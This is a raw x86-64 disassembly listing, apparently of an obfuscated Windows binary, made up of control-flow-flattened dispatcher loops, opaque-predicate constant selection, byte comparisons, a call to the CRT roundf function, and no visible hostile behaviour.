mov rcx, qword [rbp + 0x2e8]
mov qword [rbp + 0x198], rcx
jmp 0x140509b80
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc6f20e74
mov ecx, 0xeda2da80
jmp 0x140509b69
mov eax, 0x4a37e19d
mov ecx, dword [rbp + 0x2b8]
mov dword [rbp + 0x1a0], ecx
jmp 0x140509b80
mov rax, qword [rbp + 0x2c8]
add rax, 8
mov qword [rbp + 0x358], rax
mov eax, dword [0x140b856c0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b856c4], 0xa
setl cl
or cl, al
mov ebx, 0x432b251
mov eax, 0x3aa0855b
cmovne ebx, eax
mov ecx, 0x432b251
mov eax, 0x95f629ed
cmovne ecx, eax
mov eax, 0x4aff8840
nop word cs:[rax + rax]
nop
cmp eax, 0x128fa1b9
jle 0x14050b390
cmp eax, 0x128fa1ba
je 0x14050b70e
cmp eax, 0x3aa0855b
je 0x14050b3ac
cmp eax, 0x4aff8840
jne 0x14050b360
mov eax, ecx
jmp 0x14050b360
cmp eax, 0x95f629ed
je 0x14050b3b3
cmp eax, 0x432b251
jne 0x14050b360
mov rax, qword [rbp + 0x358]
mov eax, 0x95f629ed
jmp 0x14050b360
mov eax, 0x128fa1ba
jmp 0x14050b360
mov rax, qword [rbp + 0x358]
mov rax, qword [rax]
mov edx, dword [rax + 0x18]
mov eax, ebx
jmp 0x14050b360
mov rdx, qword [rbp + 0x2c8]
mov eax, dword [rbp + 0x2f4]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 8]
mov ebx, 0xc21eb61a
nop dword [rax]
cmp ebx, 0x8c9a1fbe
je 0x14050b72a
cmp ebx, 0xc21eb61a
jne 0x14050b3e0
mov qword [rbp + 0x350], rcx
mov ebx, dword [rdx + 0x20]
add rbx, qword [rbp + 0x350]
mov ebx, dword [rbx + rax*4]
mov qword [rbp + 0x358], rbx
mov ebx, 0x8c9a1fbe
jmp 0x14050b3e0
mov eax, dword [0x140b856d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b856dc], 0xa
setl cl
or cl, al
mov r8d, 0xfb979345
mov eax, 0xdfe877e2
cmovne r8d, eax
mov eax, 0xfb979345
mov ecx, 0x197355fc
cmovne eax, ecx
mov ecx, dword [0x140b856d0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b856d4], 0xa
setl dl
or dl, cl
mov r9d, 0x49bfbe0a
mov ecx, 0x43bd80c
cmovne r9d, ecx
mov ebx, 0x49bfbe0a
mov ecx, 0x9ae64220
cmovne ebx, ecx
mov ecx, 0x227d50b9
jmp 0x14050b4a0
mov rcx, qword [rbp + 0x310]
mov ecx, 0x197355fc
nop dword [rax]
mov esi, ecx
cmp ecx, 0x197355fb
jle 0x14050b4f0
cmp esi, 0x301a537c
jle 0x14050b520
cmp esi, 0x3ac141a9
je 0x14050b5ef
cmp esi, 0x47508655
jne 0x14050b653
mov rcx, qword [rbp + 0x340]
mov rcx, qword [rcx]
mov qword [rbp + 0x350], rcx
mov ecx, 0x3ac141a9
jmp 0x14050b4a0
cmp esi, 0xfb979344
jg 0x14050b5b0
mov ecx, eax
cmp esi, 0xb26fbda0
je 0x14050b4a0
mov ecx, esi
cmp esi, 0xdfe877e2
jne 0x14050b4a0
mov ecx, 0x47508655
jmp 0x14050b4a0
cmp esi, 0x197355fc
je 0x14050b605
mov ecx, esi
cmp esi, 0x227d50b9
jne 0x14050b4a0
mov rcx, qword [rbp + 0x330]
mov rcx, qword [rcx]
mov edx, 0xdf6722b2
nop dword [rax]
cmp edx, 0xe111c3c7
jle 0x14050b580
cmp edx, 0x49bfbe0a
je 0x14050b597
cmp edx, 0x43bd80c
je 0x14050b61f
cmp edx, 0xe111c3c8
jne 0x14050b550
mov edx, ebx
jmp 0x14050b550
cmp edx, 0x9ae64220
je 0x14050b59e
cmp edx, 0xdf6722b2
jne 0x14050b550
mov edx, 0xe111c3c8
jmp 0x14050b550
mov edx, 0x9ae64220
jmp 0x14050b550
mov edx, r9d
jmp 0x14050b550
cmp esi, 0xfb979345
je 0x14050b491
mov ecx, esi
cmp esi, 0x2b74b72
jne 0x14050b4a0
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x310]
cmp rdx, qword [rcx]
mov ecx, 0xb26fbda0
mov edx, 0x301a537d
cmove ecx, edx
xor edi, edi
jmp 0x14050b4a0
cmp qword [rbp + 0x350], 0
setne dil
mov ecx, 0x301a537d
jmp 0x14050b4a0
mov rcx, qword [rbp + 0x310]
add rcx, 0x30
mov qword [rbp + 0x340], rcx
mov ecx, r8d
jmp 0x14050b4a0
mov qword [rbp + 0x358], rcx
mov rcx, qword [rbp + 0x358]
mov qword [rbp + 0x310], rcx
mov rcx, qword [rbp + 0x310]
mov qword [rbp + 0x330], rcx
mov qword [rbp + 0x328], r11
mov ecx, 0x2b74b72
jmp 0x14050b4a0
mov ecx, esi
cmp esi, 0x301a537d
jne 0x14050b4a0
and dil, 1
mov byte [rbp + 0x34d], dil
mov eax, 0xf7a293cd
jmp 0x140509b80
cmp dword [rbp + 0x2d8], 0
sete byte [rbp + 0x34e]
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe981f3db
mov ecx, 0x678522ce
jmp 0x140509b69
cmp byte [rbp + 0x34e], 0
mov eax, 0x542f178
mov ecx, 0x16917014
cmovne eax, ecx
mov rcx, qword [rbp + 0x278]
mov qword [rbp + 0x170], rcx
jmp 0x140509b80
mov eax, 0xeda2da80
jmp 0x140509b80
mov eax, 0xbb9489f0
jmp 0x140509b80
mov qword [rbp + 0x358], rcx
mov rcx, qword [rbp + 0x358]
cmp qword [rax], rcx
mov eax, 0x3177222f
mov ecx, 0x6e0eb7
cmove eax, ecx
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x168], rcx
jmp 0x140509b80
mov dword [rbp + 0x350], edx
mov eax, dword [rbp + 0x350]
mov dword [rbp + 0x2b8], eax
mov eax, 0x893675d2
jmp 0x140509b80
mov rax, qword [rbp + 0x350]
add rax, qword [rbp + 0x358]
mov qword [rbp + 0x268], rax
mov eax, 0x8b8ab031
jmp 0x140509b80
cmp eax, 0x542f178
jne 0x140509b80
jmp 0x14050fbb1
mov eax, 0x8c09fc77
jmp 0x140509b80
cmp dword [rbp + 0x114], 0
mov eax, 0x975a387
mov ecx, 0x782dc696
cmovle eax, ecx
jmp 0x140501b1d
mov dword [rbp + 0xb0], 0
mov al, byte [rbp + 0x298]
mov byte [rbp + 0x2a6], al
mov eax, 0x90a41084
jmp 0x140501b1d
mov dword [rbp + 0xb8], 0
mov al, byte [rbp + 0x29c]
mov byte [rbp + 0x2ab], al
mov eax, 0x209f81cc
jmp 0x140501b1d
mov eax, dword [rbp + 0x1d8]
cmp eax, 2
mov eax, 0xeee329f5
mov ecx, 0xba637ec5
cmovl eax, ecx
jmp 0x140501b1d
mov eax, 0x7091a52a
jmp 0x140501b1d
mov al, byte [rbp + 0x2a9]
mov byte [rbp + 0x2ff], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa11fe626
mov ecx, 0x25eddea
jmp 0x140501b10
mov eax, 0xf2ff5471
jmp 0x140501b1d
cmp byte [rbp + 0x1cc], 0
mov eax, 0x2cbf0110
mov ecx, 0x6412484b
cmovne eax, ecx
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c8cce87
mov ecx, 0x3cb03d7d
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9d394f8d
mov ecx, 0x3af6fbbd
jmp 0x140501b10
mov dword [0x140b85310], 0x12
mov eax, 0x7b95aaf2
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb8cbf079
mov ecx, 0x70280f56
jmp 0x140501b10
mov eax, 0x15f57494
jmp 0x140501b1d
mov eax, 0xf1a8bf8a
jmp 0x140501b1d
mov dword [0x140b85328], 0xa
mov eax, 0x194f8d9c
jmp 0x140501b1d
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x330], rax
mov ecx, 0x605a802c
nop dword [rax]
cmp ecx, 0x2a2c56cc
jle 0x14050b930
cmp ecx, 0x2a2c56cd
je 0x14050b95b
cmp ecx, 0x4fa2e476
je 0x14050fc12
cmp ecx, 0x605a802c
jne 0x14050b8f0
mov rcx, qword [rbp + 0x330]
mov dword [rcx], 0
mov dword [rax + 4], 0
mov ecx, 0xae3a98b5
jmp 0x14050b8f0
cmp ecx, 0xae3a98b5
je 0x14050b962
cmp ecx, 0xf1c00c70
jne 0x14050b8f0
mov ecx, dword [0x140b7e450]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x2a2c56cd
mov edx, 0x4fa2e476
jmp 0x14050b97b
mov ecx, 0xf1c00c70
jmp 0x14050b8f0
mov ecx, dword [0x140b7e450]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x2a2c56cd
mov edx, 0xf1c00c70
cmove ecx, edx
cmp dword [0x140b7e454], 0xa
cmovl ecx, edx
jmp 0x14050b8f0
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd1e99ca7
mov ecx, 0x91494190
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x107852e5
mov ecx, 0xa95c5f45
jmp 0x140501b10
mov eax, 0x2da99614
jmp 0x140501b1d
mov rsi, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
call fcn.140408620
lea r11, [rbp + 0x338]
add rsp, 0x20
mov rax, qword [rsi]
mov qword [0x140b84fc8], rax
mov rax, qword [rbp + 0xe0]
mov eax, 0x73b9080e
jmp 0x140501b1d
sub rsp, 0x20
call fcn.1404fcf40
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0xef54d28c
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaa3f5ca2
mov ecx, 0x566acb31
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x37305506
mov ecx, 0x56e84b71
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbe401f23
mov ecx, 0x6d60301c
jmp 0x140501b10
mov dword [0x140b85044], 0
mov eax, 0xfdec0001
jmp 0x140501b1d
mov al, byte [rbp + 0x2aa]
mov byte [rbp + 0x29a], al
cmp dword [rbp + 0xbc], 0
mov eax, 0x3ce27dc0
mov ecx, 0x2c2cb2bd
cmove eax, ecx
mov cl, byte [rbp + 0x29a]
mov byte [rbp + 0x2a9], cl
jmp 0x140501b1d
mov eax, dword [rbp + 0x274]
add eax, 1
mov dword [rbp + 0x14], eax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf6f9feff
mov ecx, 0x2f039977
jmp 0x140501b10
mov eax, dword [rbp + 0x14]
mov dword [rbp + 0xc0], eax
mov al, byte [rbp + 0x29e]
mov byte [rbp + 0x2ae], al
mov eax, 0xcc5ffbc7
jmp 0x140501b1d
mov dword [0x140b85310], 1
mov eax, 0xdebd2c1
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe2a83d23
mov ecx, 0x44bf2de7
jmp 0x140501b10
mov al, byte [0x140b852d9]
mov byte [rbp + 0x1bc], al
mov eax, 0xa6b3d861
jmp 0x140501b1d
mov eax, 0xd64e65f2
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaa3f5ca2
mov ecx, 0x2da99614
jmp 0x140501b10
mov al, byte [rbp + 0x2a1]
mov eax, 0x8a8f91a5
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6e7bfcae
mov ecx, 0xda0bcf98
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd112a94f
mov ecx, 0xf3afbbfd
jmp 0x140501b10
test byte [rbp + 0x1b8], 1
mov eax, 0x45b04b34
mov ecx, 0x96a0a09a
cmove eax, ecx
jmp 0x140501b1d
mov eax, 0x5289457e
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x82eafe90
mov ecx, 0xbbd42798
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x79377fd2
mov ecx, 0xf9fe2741
jmp 0x140501b10
mov rax, qword [rbp + 0x118]
mov eax, 0xda0bcf98
jmp 0x140501b1d
mov rax, qword [rbp - 0x70]
lea rcx, [0x140b85068]
mov qword [rbp + 0x358], rcx
mov ecx, dword [0x140b86d48]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b86d4c], 0xa
setl dl
or dl, cl
mov ebx, 0xf56703e7
mov ecx, 0x43f5c295
cmovne ebx, ecx
mov edx, 0xf56703e7
mov ecx, 0xd435c381
cmovne edx, ecx
mov ecx, 0xe88a2a9d
nop dword [rax + rax]
cmp ecx, 0xe88a2a9c
jle 0x14050bcc0
cmp ecx, 0xe88a2a9d
je 0x14050bcec
cmp ecx, 0xf56703e7
je 0x14050bcf0
cmp ecx, 0x43f5c295
jne 0x14050bc90
mov ecx, 0x820603c9
jmp 0x14050bc90
cmp ecx, 0x820603c9
je 0x14050fc1c
cmp ecx, 0xd435c381
jne 0x14050bc90
mov rcx, qword [rbp + 0x358]
mov rcx, qword [rcx]
add rcx, rax
mov qword [rbp + 0x330], rcx
mov ecx, ebx
jmp 0x14050bc90
mov ecx, edx
jmp 0x14050bc90
mov rcx, qword [rbp + 0x358]
mov ecx, 0xd435c381
jmp 0x14050bc90
cmp dword [rbp + 0x1d4], 0
mov eax, 0xf6dba19d
mov ecx, 0x1bd987a9
cmove eax, ecx
jmp 0x140501b1d
mov eax, dword [0x140b852e4]
mov dword [rbp + 0x114], eax
mov eax, 0x6e3fdd31
jmp 0x140501b1d
mov eax, 0xd64e65f2
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1604ae3f
mov ecx, 0x1d211598
jmp 0x140501b10
mov eax, 0xb9347c16
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74bbbf0c
mov ecx, 0x15172909
jmp 0x140501b10
cmp byte [rbp + 0x1cb], 0
mov eax, 0xf619818b
mov ecx, 0xb1276eab
cmovne eax, ecx
jmp 0x140501b1d
mov eax, 0x640feca0
jmp 0x140501b1d
mov eax, dword [rbp + 8]
mov dword [rbp + 0xc8], eax
mov al, byte [rbp + 0x2ff]
mov dword [rbp + 0x108], eax
mov eax, 0xd2f1a7a5
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4b2bd93e
mov ecx, 0xd074cb8f
jmp 0x140501b10
movss dword [rbp + 0x330], xmm0
cvttss2si eax, dword [rbp + 0x330]
mov dword [rbp + 0xf8], eax
movss xmm0, dword [0x140b8503c]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
lea r11, [rbp + 0x338]
nop word cs:[rax + rax]
nop
cmp eax, 0xed03f61e
jle 0x14050be40
cmp eax, 0xed03f61f
je 0x14050be53
cmp eax, 0x6742093e
je 0x14050be57
cmp eax, 0x5bb003bf
jne 0x14050be20
mov eax, edi
jmp 0x14050be20
cmp eax, 0x9d494a93
je 0x14050be5e
cmp eax, 0xb72ca808
jne 0x14050be20
jmp 0x1405113c2
mov eax, esi
jmp 0x14050be20
mov eax, 0x5bb003bf
jmp 0x14050be20
mov eax, 0xed03f61f
jmp 0x14050be20
mov rax, qword [rbp + 0x118]
ucomiss xmm9, dword [rax]
mov eax, 0x3b0bfc64
mov ecx, 0x20409a70
cmovne eax, ecx
cmovp eax, ecx
jmp 0x140501b1d
movss dword [rbp + 0x330], xmm0
cvttss2si eax, dword [rbp + 0x330]
cmp dword [0x140b852e4], 3
mov dword [rbp + 0x94], eax
mov eax, 0xe435ed9a
mov ecx, 0xc9fdb6b8
cmove eax, ecx
jmp 0x140501b1d
mov rdx, qword [rbp + 0x330]
movzx r11d, byte [rdx]
cmp r11d, 0x3d
setae r8b
movzx ecx, byte [rdx + 1]
movzx r13d, byte [rdx + 2]
cmp r13d, 0x69
setae r9b
cmp r13d, 0x6e
setae r10b
mov edi, dword [0x140b86d38]
mov esi, dword [0x140b86d3c]
lea ebx, [rdi - 1]
imul ebx, edi
test bl, 1
sete bl
sete byte [rbp + 0x327]
cmp esi, 0xa
setl byte [rbp + 0x326]
setl r15b
or r15b, bl
mov eax, r11d
sub eax, ecx
cmp eax, 0x3c
setge bl
and bl, r10b
mov byte [rbp + 0x1e4], bl
mov r14d, r13d
sub r14d, ecx
mov edi, r13d
sub edi, r11d
mov ebx, edi
neg ebx
mov esi, edi
cmovge esi, ebx
mov dword [rbp + 0x1e8], esi
lea esi, [rcx - 0xf1]
cmp esi, 0xe
setb dl
and dl, r8b
mov byte [rbp + 0x1ec], dl
mov rdx, rcx
add ecx, 0xffffffc3
mov dword [rbp + 0x1f0], ecx
mov dword [rbp + 0x128], eax
cmp eax, 0x32
setge al
and al, r9b
mov byte [rbp + 0x1f4], al
mov qword [rbp + 0x120], rdi
lea eax, [rdi + 0x21600fe9]
sub eax, 0x21600fe9
cmovb eax, ebx
mov dword [rbp + 0x1f8], eax
test r15b, r15b
mov eax, 0xb1c5674e
mov ecx, 0x8d845308
cmovne eax, ecx
mov dword [rbp + 0x1e0], eax
mov eax, 0xb1c5674e
mov ecx, 0x9ef1d789
cmovne eax, ecx
mov dword [rbp + 0x1fc], eax
mov eax, 0x11a435f8
mov ecx, 0xb94ead36
cmovne eax, ecx
mov dword [rbp + 0x200], eax
mov eax, 0x11a435f8
mov ecx, 0x499fa256
cmovne eax, ecx
mov dword [rbp + 0x204], eax
mov eax, 0x4b6a20f7
mov ecx, 0xb98bcaee
cmovne eax, ecx
mov dword [rbp + 0x2bc], eax
mov eax, 0x4b6a20f7
mov ecx, 0x969205f1
cmovne eax, ecx
mov dword [rbp + 0x2c0], eax
mov eax, 0x482aa3f8
mov ecx, 0xbd5e8e9d
cmovne eax, ecx
mov dword [rbp + 0x150], eax
mov eax, 0x482aa3f8
mov ecx, 0x495c313e
cmovne eax, ecx
mov dword [rbp + 0x2c4], eax
mov eax, 0x9c02b47a
mov ecx, 0x7344cfcc
cmovne eax, ecx
mov dword [rbp + 0x208], eax
mov eax, 0x9c02b47a
mov ecx, 0xb0beb3e4
cmovne eax, ecx
mov dword [rbp + 0x20c], eax
mov eax, 0x15767053
mov ecx, 0x297f9036
cmovne eax, ecx
mov dword [rbp + 0x210], eax
mov eax, 0x15767053
mov ecx, 0x2ad23082
cmovne eax, ecx
mov dword [rbp + 0x214], eax
mov eax, 0xf18c4a6a
mov ecx, 0x763ef902
cmovne eax, ecx
mov dword [rbp + 0x218], eax
mov eax, 0xf18c4a6a
mov ecx, 0x7b64d6ea
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
mov eax, 0xfb7d2618
mov ecx, 0x78eecf42
cmovne eax, ecx
mov dword [rbp + 0x188], eax
mov eax, 0xfb7d2618
mov ecx, 0xbd39f16e
cmovne eax, ecx
mov dword [rbp + 0x190], eax
mov eax, 0xb4b17505
mov ecx, 0xb1828316
cmovne eax, ecx
mov dword [rbp + 0x220], eax
mov eax, 0xb4b17505
mov ecx, 0x418cdd34
cmovne eax, ecx
mov dword [rbp + 0x198], eax
mov eax, 0x96bfffd
mov ecx, 0x140605b2
cmovne eax, ecx
mov dword [rbp + 0x2dc], eax
mov eax, 0x96bfffd
mov ecx, 0xe7ef058
cmovne eax, ecx
mov dword [rbp + 0x224], eax
mov eax, 0x95314845
mov ecx, 0x2e501a5b
cmovne eax, ecx
mov dword [rbp + 0x228], eax
mov eax, 0x95314845
mov ecx, 0x51bb9d1f
cmovne eax, ecx
mov dword [rbp + 0x1a8], eax
mov eax, 0x3f2f8547
mov ecx, 0x7a184854
cmovne eax, ecx
mov ebx, 0x3f2f8547
mov ecx, 0xb05c452f
cmovne ebx, ecx
mov dword [rbp + 0x1a0], ebx
mov ebx, 0x5a414769
mov ecx, 0x789407d4
cmovne ebx, ecx
mov dword [rbp + 0x168], ebx
mov ebx, 0x5a414769
mov ecx, 0xfc0f9c55
cmovne ebx, ecx
mov dword [rbp + 0x22c], ebx
mov ebx, 0x1cdf725d
mov ecx, 0xb5fe692d
cmovne ebx, ecx
mov dword [rbp + 0x230], ebx
mov ebx, 0x1cdf725d
mov ecx, 0x354076fb
cmovne ebx, ecx
mov dword [rbp + 0x234], ebx
mov ebx, 0x6c56cc29
mov ecx, 0x5a36ce4f
cmovne ebx, ecx
mov dword [rbp + 0x170], ebx
mov ebx, 0x6c56cc29
mov ecx, 0x464e4f07
cmovne ebx, ecx
mov dword [rbp + 0x158], ebx
mov ebx, 0xaebd2eca
mov ecx, 0xcd6a80a5
cmovne ebx, ecx
mov dword [rbp + 0x238], ebx
mov ebx, 0xaebd2eca
mov ecx, 0xdd066470
cmovne ebx, ecx
mov dword [rbp + 0x160], ebx
mov ebx, 0xabe3e034
mov ecx, 0x2cda350e
cmovne ebx, ecx
mov dword [rbp + 0x23c], ebx
mov ebx, 0xabe3e034
mov ecx, 0xd3059b6f
cmovne ebx, ecx
mov dword [rbp + 0x240], ebx
mov ebx, 0xa3988b66
mov ecx, 0x23d604a4
cmovne ebx, ecx
mov dword [rbp + 0x244], ebx
mov ebx, 0xa3988b66
mov ecx, 0x31f6e81
cmovne ebx, ecx
mov dword [rbp + 0x248], ebx
mov ebx, 0x157c9d26
mov ecx, 0x5a530a53
cmovne ebx, ecx
mov dword [rbp + 0x24c], ebx
mov ebx, 0x157c9d26
mov ecx, 0x31a09e96
cmovne ebx, ecx
mov dword [rbp + 0x1dc], ebx
mov ebx, 0x1faaa5f6
mov ecx, 0xde8a5085
cmovne ebx, ecx
mov dword [rbp + 0x134], ebx
mov ebx, 0x1faaa5f6
mov ecx, 0xd38d4b5c
cmovne ebx, ecx
mov dword [rbp + 0x264], ebx
mov ebx, 0x267d1724
mov ecx, 0xba345fbc
cmovne ebx, ecx
mov dword [rbp + 0x138], ebx
mov ebx, 0x267d1724
mov ecx, 0xb7ee4958
cmovne ebx, ecx
mov dword [rbp + 0x13c], ebx
mov ebx, 0x57b3b530
mov ecx, 0x23a18588
cmovne ebx, ecx
mov dword [rbp + 0x140], ebx
mov ebx, 0x57b3b530
mov ecx, 0x5d8c7d4f
cmovne ebx, ecx
mov dword [rbp + 0x144], ebx
mov ebx, 0x680ab117
mov ecx, 0xb15b1a2e
cmovne ebx, ecx
mov dword [rbp + 0x148], ebx
mov ebx, 0x680ab117
mov ecx, 0x89b66e65
cmovne ebx, ecx
mov dword [rbp + 0x14c], ebx
mov ebx, 0xc560a85d
mov ecx, 0xc79ad12f
cmovne ebx, ecx
mov dword [rbp + 0xfc], ebx
mov dword [rbp + 0x2f8], ecx
mov dword [rbp + 0x2e4], ecx
mov ecx, 0xa73577fc
jmp 0x14050c330
xor r8d, r8d
mov ecx, 0x9ef63166
nop word cs:[rax + rax]
nop
mov r12d, ecx
cmp ecx, 0xff0c2dfe
jg 0x14050c3d0
cmp r12d, 0xb98bcaed
jg 0x14050c460
cmp r12d, 0xa82ebe36
jg 0x14050c54a
cmp r12d, 0x9a36c244
jle 0x14050c6d4
cmp r12d, 0xa0d53e63
jle 0x14050c97d
cmp r12d, 0xa4c5bbcc
jle 0x14050cd21
cmp r12d, 0xa4c5bbcd
je 0x14050d321
mov ecx, dword [rbp + 0x1a8]
cmp r12d, 0xa61e6778
je 0x14050c330
mov ecx, r12d
cmp r12d, 0xa73577fc
jne 0x14050c330
movzx ebx, byte [rbp + 0x327]
cmp byte [rbp + 0x326], 0
mov ecx, 0xc560a85d
mov edi, 0x77da8017
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x14050c330
cmp r12d, 0x3f2f8546
jg 0x14050c4d0
cmp r12d, 0x20103660
jg 0x14050c5b6
cmp r12d, 0x135fcc3a
jg 0x14050c729
cmp r12d, 0x96bfffc
jle 0x14050c9bf
cmp r12d, 0xe7ef057
jle 0x14050cd48
mov ecx, dword [rbp + 0x2dc]
cmp r12d, 0xe7ef058
je 0x14050c330
mov ecx, dword [rbp + 0x264]
cmp r12d, 0x11825857
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x11a435f8
jne 0x14050c330
mov ecx, 0x499fa256
jmp 0x14050c330
cmp r12d, 0xe7809c39
jg 0x14050c611
cmp r12d, 0xd033cd79
jg 0x14050c77d
cmp r12d, 0xbdc64e87
jle 0x14050c9f4
cmp r12d, 0xc79ad12e
jle 0x14050cd79
cmp r12d, 0xc79ad12f
je 0x14050d338
mov ecx, dword [rbp + 0x158]
cmp r12d, 0xca8a3dae
je 0x14050c330
mov ecx, r12d
cmp r12d, 0xcd6a80a5
jne 0x14050c330
mov ecx, 0xca8a3dae
jmp 0x14050c330
cmp r12d, 0x5d29121f
jg 0x14050c66d
cmp r12d, 0x4a0180ff
jg 0x14050c7cc
cmp r12d, 0x464e4f06
jle 0x14050ca28
cmp r12d, 0x48c9fc5e
jle 0x14050cda0
cmp r12d, 0x48c9fc5f
je 0x14050d342
mov ecx, dword [rbp + 0x150]
cmp r12d, 0x495c313e
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x499fa256
jne 0x14050c330
cmp r11b, 0x64
setae byte [rbp + 0x310]
mov ecx, dword [rbp + 0x200]
jmp 0x14050c330
cmp r12d, 0xb1828315
jg 0x14050c826
cmp r12d, 0xaebd2ec9
jle 0x14050ca5d
cmp r12d, 0xb05c452e
jle 0x14050cdcd
mov ecx, eax
cmp r12d, 0xb05c452f
je 0x14050c330
cmp r12d, 0xb0beb3e4
je 0x14050d362
mov ecx, r12d
cmp r12d, 0xb15b1a2e
jne 0x14050c330
cmp byte [rbp + 0x325], 0
mov ecx, 0x2798cef7
mov edi, 0xf301ab8e
cmovne ecx, edi
jmp 0x14050c330
cmp r12d, 0x2d4b429c
jg 0x14050c874
cmp r12d, 0x267d1723
jle 0x14050ca91
cmp r12d, 0x297f9035
jle 0x14050cdf5
cmp r12d, 0x297f9036
je 0x14050d384
cmp r12d, 0x2ad23082
je 0x14050d38e
mov ecx, r12d
cmp r12d, 0x2cda350e
jne 0x14050c330
mov ecx, 0x3577c1f2
jmp 0x14050c330
cmp r12d, 0xef53f9e5
jg 0x14050c8d7
cmp r12d, 0xe9dbd22d
jle 0x14050cad0
cmp r12d, 0xead3e303
jle 0x14050ce1d
cmp r12d, 0xead3e304
je 0x14050c31d
cmp r12d, 0xeaeb4fd4
je 0x14050d3a6
mov ecx, r12d
cmp r12d, 0xece27445
jne 0x14050c330
mov ecx, dword [rbp + 0x234]
jmp 0x14050c330
cmp r12d, 0x751c860d
jg 0x14050c92e
cmp r12d, 0x6c56cc28
jle 0x14050cb05
cmp r12d, 0x709a45ba
jle 0x14050ce4b
cmp r12d, 0x709a45bb
je 0x14050d3b7
cmp r12d, 0x70a3a0c7
je 0x14050d3cb
mov ecx, r12d
cmp r12d, 0x7344cfcc
jne 0x14050c330
cmp byte [rbp + 0x280], 0
mov ecx, 0xff0c2dff
mov ebx, 0x22128fff
jmp 0x14050d4ec
cmp r12d, 0x8d845307
jle 0x14050cb3a
cmp r12d, 0x95314844
jle 0x14050ce73
cmp r12d, 0x95314845
je 0x14050d3e0
mov ecx, dword [rbp + 0x2bc]
cmp r12d, 0x969205f1
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x99deb36c
jne 0x14050c330
mov ecx, dword [rbp + 0x224]
jmp 0x14050c330
cmp r12d, 0x15767052
jle 0x14050cb80
cmp r12d, 0x1a7bb6b2
jle 0x14050ce9d
cmp r12d, 0x1a7bb6b3
je 0x14050d3ea
cmp r12d, 0x1cdf725d
je 0x14050d403
mov ecx, r12d
cmp r12d, 0x1faaa5f6
jne 0x14050c330
mov ecx, dword [rbp + 0x328]
mov ecx, 0xd38d4b5c
jmp 0x14050c330
cmp r12d, 0xd5b57953
jle 0x14050cbc9
cmp r12d, 0xdd06646f
jle 0x14050ceca
cmp r12d, 0xdd066470
je 0x14050d40d
cmp r12d, 0xde8a5085
je 0x14050d41f
mov ecx, r12d
cmp r12d, 0xe335676c
jne 0x14050c330
mov ecx, dword [rbp + 0x1fc]
jmp 0x14050c330
cmp r12d, 0x57b3b52f
jle 0x14050cc08
cmp r12d, 0x5a36ce4e
jle 0x14050cf04
cmp r12d, 0x5a36ce4f
je 0x14050d43a
cmp r12d, 0x5a414769
je 0x14050d453
mov ecx, r12d
